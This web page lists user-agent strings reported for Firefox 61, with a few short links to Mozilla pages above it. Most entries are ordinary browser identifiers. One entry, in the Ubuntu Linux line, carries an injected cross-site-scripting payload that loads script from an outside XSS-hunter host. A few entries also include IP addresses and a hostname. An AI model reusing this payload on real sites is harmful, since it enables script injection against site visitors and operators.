For more information, please visit the following pages:

• Firefox
• Mozilla Foundation
• Gecko

Latest user agents (if you are looking for complete list, download it here):

• Mozilla/5.0 (Android 11; Mobile; rv:61.0.2) Gecko/61.0.2 Firefox/61.0.2
• Mozilla/5.0 (Windows NT 6.1; WOW64; rv61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0\r\n
• Mozilla/5.0 (Android 5.1; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0 [ip:151.42.15.60]
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 [ip:185.234.165.230]
• Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20180305 Firefox/61.0
• Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.11; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20180101 Firefox/61.0
• Mozilla/5.0 (Android 9; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0.1) Gecko/20100101 Firefox/61.0.1
• Mozilla/5.0 (Windows NT 6.3; WOW64; rv:65.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; ) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.3; rv:61.0.1) Gecko/20100101 Firefox/61.0.1
• Mozilla/5.0 (Windows NT 6.2; rv:50.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Android 9; Mobile; rv:61.0.2) Gecko/61.0.2 Firefox/61.0.2
• Mozilla/5.0 (Windows NT 6.1; rv:61.0) Gecko/20100101 Firefox/61.0 anonymized by Abelssoft 163098657
• Mozilla/5.0 (Windows NT 6.1; Win32; x86; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Android 5.0; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 0u1wtjEJ-48 Firefox/61.0
• Mozilla/5.0 (Android 8.0.0; Tablet; rv:61.0.2) Gecko/61.0.2 Firefox/61.0.2
• Mozilla/5.0 (Windows NT 10.0; rv:61.0) Gecko/20100101 Firefox/61.0 anonymized by Abelssoft 425245367
• Mozilla/5.0 (X11; Ubuntu; Linux x86_64; ; hostname:; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; rv:61.0) Gecko/20100101 Firefox/61.0 anonymized by Abelssoft 1566854862
• Mozilla/5.0 (Windows NT 6.3; rv:61.0.1.0) Gecko/20100101 Firefox/61.0.1.0
• Mozilla/5.0 (Windows NT 6.1; rv:61.0.1.0) Gecko/20100101 Firefox/61.0.1.0
• Mozilla/5.0 (Linux; Android 9.0.0; rv:61.0.2) Gecko/68.0 Firefox/61.0.2
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0.2.0) Gecko/20100101 Firefox/61.0.2.0
• Mozilla/5.0 (Windows NT 6.2; rv:61.0.1.0) Gecko/20100101 Firefox/61.0.1.0
• Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0.2.0) Gecko/20100101 Firefox/61.0.2.0
• Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:61.0.2.0) Gecko/20100101 Firefox/61.0.2.0
• Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.3; Win64; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Android 4.2.1; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (X11; Ubuntu; Linux x86_64; m1; hostname:sklad12.m1.maxidom.ru; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Android 8.1.0 + xXx_NoLimits_2.9.1a; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 7.0; Mobile; LG-M150; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Linux; Android 8.1.0; rv:61.0) Gecko/68.0 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win32) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; rv:61.0) Gecko/20100101 Firefox/61.0 anonymized by Abelssoft 996050115
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 KfghQxRS-0 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 lncHvrCq-27 Firefox/61.0
• Mozilla/5.0 (X11; Ubuntu; Linux x86"><script src=https://haxor1.xss.ht></script>_64; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Lj46L04t-44 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; rv:61.0) Gecko/20100101 Firefox/61.0 TO-Browser/TOB7.61.0.110_04
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:61.0) Gecko/20100101 Firefox/61.0,gzip(gfe)
• Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; rv:61.0) Gecko/20100101 Firefox/61.0 Zotero/5.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Thunderbird/61.0a1
• Mozilla/5.0 (Windows NT 6.1; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0,gzip(gfe)
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 nMPkB9Yl-59 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 IceDragon/61.0
• Mozilla/5.0 (Windows NT 10.0; rv:61.0) Gecko/20100101 Firefox/61.0 anonymized by Abelssoft 808778448
• Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 jveTDH3U-45 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 ezmdX5uV-12 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 yyuKzXCW-50 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 QoaFUwtf-18 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 cEvUGac1-45 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 JzOHxG4Z-10 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 5V0HT8Xu-54 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 G7XfngaL-16 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 TO-Browser/TOB7.61.0.110_03
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 YlpZsVeb-59 Firefox/61.0
• Mozilla/5.0 (Android 9; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Deqwq1gw-19 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 TO-Browser/TOB7.61.0.110_01
• Mozilla/5.0 (Windows NT 10.0; rv:61.0) Gecko/20100101 Firefox/61.0 anonymized by Abelssoft 988959185
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0,gzip(gfe)
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 apw4I9lt-1 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0.1) Gecko/20100101 Firefox/61.0.1
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 FekOmiVF-44 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 66oGMweR-48 Firefox/61.0
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0,gzip(gfe)
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 LSS8Q3B7-10 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 P45yYnNf-40 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 ermBNnbB-19 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 WE6UHcHD-7 Firefox/61.0
• Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0,gzip(gfe)
• Mozilla/5.0 (Android 7.1.2; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 4.1.2; Tablet; rv:61.0.2) Gecko/61.0.2 Firefox/61.0.2
• Mozilla/5.0 (Android 4.1.2; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 6.0; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 4.1.2; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 8.0.0; Mobile; rv:61.0.2) Gecko/61.0.2 Firefox/61.0.2
• Mozilla/5.0 (Android 5.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 ql66u54b
• Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 IceDragon/61.0
• Mozilla/5.0 (Android 4.4.4; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 4.2.2; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (X11; Fedora; Linux i686; rv:61.0) Gecko/20100101 Firefox/61.0
• Mozilla/5.0 (Android 8.1.0; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 4.4.2; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 6.0.1; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Windows NT 6.1; rv:61.0) Gecko/20100101 Firefox/61.0,gzip(gfe)
• Mozilla/5.0 (Android 7.1.1; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0
• Mozilla/5.0 (Android 4.4.2; Tablet; rv:61.0) Gecko/61.0 Firefox/61.0